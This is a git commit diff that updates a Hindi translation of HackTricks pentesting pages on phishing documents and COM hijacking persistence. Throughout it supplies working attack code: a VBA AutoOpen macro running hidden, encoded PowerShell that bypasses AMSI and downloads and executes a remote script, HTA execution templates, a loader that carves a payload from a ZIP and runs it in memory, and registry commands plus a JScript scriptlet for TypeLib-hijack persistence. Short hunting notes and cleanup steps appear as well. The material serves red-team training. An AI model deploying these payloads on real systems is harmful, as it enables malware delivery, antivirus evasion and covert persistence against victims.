Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-28 22:51:29 +00:00
parent 60ec19bf47
commit e9e34667ce
2 changed files with 150 additions and 40 deletions

View File

@ -1,40 +1,40 @@
# फ़िशिंग फ़ाइलें और दस्तावेज़
# Phishing फ़ाइलें और दस्तावेज़
{{#include ../../banners/hacktricks-training.md}}
## ऑफिस दस्तावेज़
## Office दस्तावेज़
Microsoft Word फ़ाइल खोलने से पहले फ़ाइल डेटा मान्यता करता है। डेटा मान्यता डेटा संरचना पहचान के रूप में OfficeOpenXML मानक के खिलाफ की जाती है। यदि डेटा संरचना पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषित की जा रही फ़ाइल नहीं खोली जाएगी।
Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा सत्यापन करता है। डेटा सत्यापन OfficeOpenXML standard के अनुसार डेटा संरचना की पहचान के रूप में किया जाता है। यदि डेटा संरचना की पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषित की जा रही फ़ाइल नहीं खोली जाएगी।
आमतौर पर, मैक्रोज़ वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और फिर भी उनके मैक्रो निष्पादन क्षमताओं को बनाए रखना संभव है।\
उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन द्वारा मैक्रोज़ का समर्थन नहीं करती है, लेकिन RTF में नाम बदली गई DOCM फ़ाइल Microsoft Word द्वारा संभाली जाएगी और मैक्रो निष्पादन के लिए सक्षम होगी।\
ी Microsoft Office Suite (Excel, PowerPoint आदि) के सॉफ़्टवेयर पर समान आंतरिक और तंत्र लागू होते हैं।
आम तौर पर, macros वाली Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। फिर भी, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और उनकी macro निष्पादन क्षमताएँ बनी रह सकती हैं.\
उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदल दिया जाए, Microsoft Word द्वारा संभाली जाएगी और macro निष्पादन में सक्षम होगी.\
सी आंतरिक संरचना और तंत्र Microsoft Office Suite (Excel, PowerPoint आदि) के सभी सॉफ़्टवेयर पर लागू होते हैं।
आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ ऑफिस प्रोग्राम द्वारा निष्पादित किए जाने वाले हैं:
आप निम्नलिखित कमांड का उपयोग यह जांचने के लिए कर सकते हैं कि किन एक्सटेंशनों को कुछ Office प्रोग्राम्स द्वारा निष्पादित किया जाएगा:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX फ़ाइलें एक दूरस्थ टेम्पलेट (File Options Add-ins Manage: Templates Go) को संदर्भित करते हुए जो मैक्रोज़ शामिल करती हैं, "execute" मैक्रोज़ कर सकती हैं।
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### बाहरी छवि लोड
### बाहरी इमेज लोड
जाएँ: _Insert --> Quick Parts --> Field_\
_**श्रेणियाँ**: Links and References, **Filed names**: includePicture, और **Filename or URL**:_ http://\<ip>/whatever
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### मैक्रोज़ बैकडोर
### Macros Backdoor
यह संभव है कि मैक्रोज़ का उपयोग दस्तावेज़ से मनमाना कोड चलाने के लिए किया जाए
दस्तावेज़ से macros का उपयोग करके arbitrary code चलाना संभव है
#### ऑटोलोड फ़ंक्शन
#### Autoload functions
जितना सामान्य होंगे, उतना ही अधिक संभावना है कि AV उन्हें पहचान लेगा
जितने अधिक सामान्य वे होंगे, AV द्वारा उन्हें पहचानने की संभावना उतनी ही अधिक होगी
- AutoOpen()
- Document_Open()
#### मैक्रोज़ कोड उदाहरण
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,16 +64,16 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### मैन्युअल रूप से मेटाडेटा हटाएं
#### मैन्युअली मेटाडेटा हटाएँ
**File > Info > Inspect Document > Inspect Document** पर जाएं, जो Document Inspector को लाएगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें।
Go to **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोल देगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें।
#### डॉक एक्सटेंशन
#### Doc एक्सटेंशन
जब समाप्त हो जाए, तो **Save as type** ड्रॉपडाउन का चयन करें, फ़ॉर्मेट को **`.docx`** से **Word 97-2003 `.doc`** में बदलें।\
यह करें क्योंकि आप **`.docx`** के अंदर मैक्रो नहीं सहेज सकते हैं और **`.docm`** एक्सटेंशन के चारों ओर एक **कलंक** है (जैसे, थंबनेल आइकन में एक बड़ा `!` है और कुछ वेब/ईमेल गेटवे उन्हें पूरी तरह से ब्लॉक कर देते हैं)। इसलिए, यह **विरासत `.doc` एक्सटेंशन सबसे अच्छा समझौता है**
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
यह इसलिए करें क्योंकि आप `.docx` के अंदर macro सहेज नहीं सकते और macro-enabled **`.docm`** एक्सटेंशन के बारे में नकारात्मक धारणा है (उदा. थंबनेल आइकॉन पर बड़ा `!` दिखता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए यह पुराना `.doc` एक्सटेंशन सबसे अच्छा समझौता है।
#### दुर्भावनापूर्ण मैक्रोज़ जनरेटर
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## HTA फ़ाइलें
HTA एक Windows प्रोग्राम है जो **HTML और स्क्रिप्टिंग भाषाओं (जैसे VBScript और JScript)** को **संयोजित** करता है। यह उपयोगकर्ता इंटरफ़ेस उत्पन्न करता है और "पूर्ण रूप से विश्वसनीय" एप्लिकेशन के रूप में निष्पादित होता है, बिना ब्राउज़र की सुरक्षा मॉडल की सीमाओं के
HTA एक Windows प्रोग्राम है जो **HTML और scripting languages (जैसे VBScript और JScript)** को मिलाता है। यह उपयोगकर्ता इंटरफ़ेस बनाता है और ब्राउज़र की सुरक्षा मॉडल की पाबंदियों के बिना "fully trusted" एप्लिकेशन के रूप में निष्पादित होता है।
HTA को **`mshta.exe`** का उपयोग करके निष्पादित किया जाता है, जो आमतौर पर **Internet Explorer** के साथ **स्थापित** होता है, जिससे **`mshta` IE पर निर्भर होता है**। इसलिए, यदि इसे अनइंस्टॉल कर दिया गया है, तो HTA निष्पादित नहीं हो पाएंगे।
HTA को `mshta.exe` के माध्यम से चलाया जाता है, जो सामान्यतः Internet Explorer के साथ इंस्टॉल होता है, इसलिए `mshta` IE पर निर्भर होता है। यदि IE अनइंस्टॉल किया गया है तो HTA निष्पादन में सक्षम नहीं होंगे।
```html
<--! Basic HTA Execution -->
<html>
@ -138,9 +138,9 @@ var_func
self.close
</script>
```
## NTLM प्रमाणीकरण को मजबूर करना
## NTLM प्रमाणीकरण मजबूर करना
**NTLM प्रमाणीकरण "दूर से"** मजबूर करने के कई तरीके हैं, उदाहरण के लिए, आप ईमेल या HTML में **अदृश्य चित्र** जोड़ सकते हैं जिन्हें उपयोगकर्ता एक्सेस करेगा (क्या यह HTTP MitM भी हो सकता है?)। या पीड़ित को **फाइलों के पते** भेजें जो केवल **फोल्डर खोलने** के लिए **प्रमाणीकरण** को **प्रेरित** करेंगी।
There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.**
**इन विचारों और अधिक को निम्नलिखित पृष्ठों में देखें:**
@ -154,11 +154,62 @@ self.close
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
### NTLM रिले
### NTLM Relay
यह न भूलें कि आप केवल हैश या प्रमाणीकरण को चुरा नहीं सकते बल्कि **NTLM रिले हमले** भी कर सकते हैं:
यह न भूलें कि आप केवल हैश या प्रमाणीकरण ही चुरा नहीं सकते बल्कि **NTLM relay attacks** भी अंजाम दे सकते हैं:
- [**NTLM रिले हमले**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM रिले से प्रमाणपत्र)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIPs raw bytes after a unique marker, and the .lnk carves and runs it fully in memory.
Typical flow implemented by the .lnk PowerShell one-liner:
1) सामान्य पथों में मूल ZIP का पता लगाएँ: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
2) ZIP bytes पढ़ें और एक hardcoded marker खोजें (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
3) ZIP को %ProgramData% में कॉपी करें, extract वहाँ करें, और वैध दिखने के लिए decoy .docx खोलें।
4) वर्तमान process के लिए AMSI बायपास करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) अगले चरण को deobfuscate करें (e.g., remove all # characters) और इसे memory में execute करें।
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
नोट्स
- Delivery अक्सर प्रतिष्ठित PaaS सबडोमेन का दुरुपयोग करता है (e.g., *.herokuapp.com) और payloads को gate कर सकता है (IP/UA के आधार पर benign ZIPs परोस सकता है)।
- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और disk artifacts को कम करने के लिए इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है।
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या इसे embed करने वाला कोई भी app payload को स्वचालित रूप से फिर से लॉन्च कर दे। विवरण और तैयार-से-उपयोग कमांड यहाँ देखें:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP फ़ाइलें जिनमें archive data के अंत में ASCII marker string (e.g., xFIQCV) appended होती है।
- .lnk जो parent/user फ़ोल्डरों को enumerate करके ZIP ढूंढता है और एक decoy document खोलता है।
- AMSI में छेड़छाड़ via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- लंबे समय तक चलने वाले business threads जो trusted PaaS domains पर host किए गए links के साथ समाप्त होते हैं।
## संदर्भ
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
### गैर-मौजूद COM घटकों की खोज
### मौजूद नहीं वाले COM घटकों की खोज
चूंकि HKCU के मानों को उपयोगकर्ताओं द्वारा संशोधित किया जा सकता है, **COM Hijacking** को **स्थायी तंत्र** के रूप में उपयोग किया जा सकता है। `procmon` का उपयोग करके, उन खोजे गए COM रजिस्ट्रियों को खोजना आसान है जो मौजूद नहीं हैं और जिन्हें एक हमलावर स्थायी बनाने के लिए बना सकता है। फिल्टर:
चूंकि HKCU के मान उपयोगकर्ताओं द्वारा संशोधित किए जा सकते हैं, **COM Hijacking** को एक **स्थायी तंत्र** के रूप में उपयोग किया जा सकता है। `procmon` का उपयोग करके उन COM रजिस्ट्री प्रविष्टियों को ढूँढना आसान है जो मौजूद नहीं हैं और जिन्हें attacker persistence के लिए बना सकता है। फिल्टर:
- **RegOpenKey** संचालन।
- जहाँ _Result_ **NAME NOT FOUND**
- और _Path_ **InprocServer32** पर समाप्त होता ह
- **RegOpenKey** operations.
- जहाँ _Result_ **NAME NOT FOUND**
- और _Path_ **InprocServer32** पर समाप्त होता ह
एक बार जब आप तय कर लें कि किस गैर-मौजूद COM का अनुकरण करना है, तो निम्नलिखित कमांड चलाएँ। _यदि आप किसी ऐसे COM का अनुकरण करने का निर्णय लेते हैं जो हर कुछ सेकंड में लोड होता है, तो सावधान रहें क्योंकि यह अत्यधिक हो सकता है._
एक बार जब आप तय कर लें कि किस मौजूद नहीं वाले COM का impersonate करना है, तो निम्नलिखित commands चलाएँ। _यदि आप ऐसा COM impersonate करने का निर्णय लेते हैं जो हर कुछ सेकंड में लोड होता है तो सावधान रहें क्योंकि यह overkill हो सकता है._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Hijackable Task Scheduler COM components
### हाइजैक करने योग्य Task Scheduler के COM components
Windows Tasks Custom Triggers का उपयोग COM ऑब्जेक्ट्स को कॉल करने के लिए करते हैं और चूंकि इन्हें Task Scheduler के माध्यम से निष्पादित किया जाता है, इसलिए यह भविष्यवाणी करना आसान होता है कि ये कब ट्रिगर होंगे।
Windows Tasks Custom Triggers का उपयोग COM objects को कॉल करने के लिए करते हैं, और चूँकि इन्हें Task Scheduler के माध्यम से execute किया जाता है, इसलिए यह अनुमान लगाना आसान होता है कि इन्हें कब trigger किया जाएगा.
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
आउटपुट की जांच करते समय, आप एक ऐसा चयन कर सकते हैं जो **हर बार क उपयोगकर्ता लॉग इन करता है** उदाहरण के लिए निष्पादित होने वाला है
आउटपुट की जाँच करके आप उदाहरण के लिए ऐसा चुन सकते हैं जो **हर बार ोई उपयोगकर्ता लॉग इन करता है** तब execute होगा
अब **HKEY\CLASSES\ROOT\CLSID** और HKLM और HKCU में CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** की खोज करते समय, आप आमतौर पर पाएंगे कि यह मान HKCU में मौजूद नहीं है।
अब CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** क**HKEY\CLASSES\ROOT\CLSID** और HKLM व HKCU में खोजने पर, आम तौर पर आप पाएँगे कि यह मान HKCU में मौजूद नहीं होता है।
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,65 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
फिर, आप बस HKCU प्रविष्टि बना सकते हैं और हर बार जब उपयोगकर्ता लॉग इन करता है, तो आपका बैकडोर सक्रिय हो जाएगा।
फिर, आप बस HKCU एंट्री बना सकते हैं और हर बार जब उपयोगकर्ता लॉग इन करेगा, आपका backdoor सक्रिय हो जाएगा।
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) COM interfaces को परिभाषित करते हैं और `LoadTypeLib()` के माध्यम से लोड होते हैं। जब कोई COM सर्वर इंस्टेंस बनाया जाता है, तो OS संबंधित TypeLib को भी लोड कर सकता है — इसके लिए यह `HKCR\TypeLib\{LIBID}` के तहत रजिस्ट्री कीज़ की जांच करता है। यदि TypeLib path को एक **moniker** से बदल दिया जाता है, उदाहरण के लिए `script:C:\...\evil.sct`, तो जब TypeLib resolve होगा तो Windows उस scriptlet को execute कर देगा — जिससे एक छिपी हुई persistence बन जाती है जो सामान्य कंपोनेंट्स के इस्तेमाल होने पर ट्रिगर होती है।
यह Microsoft Web Browser control के खिलाफ देखा गया है (जो अक्सर Internet Explorer, apps embedding WebBrowser, और यहां तक कि `explorer.exe` द्वारा लोड होता है)।
### Steps (PowerShell)
1) उस TypeLib (LIBID) की पहचान करें जिसका उपयोग किसी high-frequency CLSID द्वारा किया जाता है। उदाहरण के तौर पर अक्सर malware chains द्वारा दुरुपयोग किया जाने वाला CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) प्रति-उपयोगकर्ता TypeLib पथ को स्थानीय scriptlet की ओर `script:` मोनाइकर का उपयोग करके पॉइंट करें (कोई एडमिन अधिकार आवश्यक नहीं):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) एक न्यूनतम JScript `.sct` गिराएँ जो आपके प्राथमिक payload को फिर से लॉन्च करे (उदा. प्रारंभिक chain द्वारा उपयोग किया गया `.lnk`):
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Triggering IE खोलना, कोई ऐसा एप्लिकेशन जो WebBrowser control को embed करता है, या यहाँ तक कि सामान्य Explorer activity भी TypeLib को लोड करेगा और scriptlet को execute करेगा, जिससे आपकी chain logon/reboot पर पुनः सक्रिय हो जाएगी।
सफाई
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
नोट
- आप वही लॉजिक अन्य बार-बार उपयोग होने वाले COM घटकों पर भी लागू कर सकते हैं; हमेशा पहले वास्तविक `LIBID` को `HKCR\CLSID\{CLSID}\TypeLib` से रिज़ॉल्व करें।
- 64-bit सिस्टम्स पर आप 64-bit consumers के लिए `win64` सबकी भी भर सकते हैं।
## संदर्भ
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}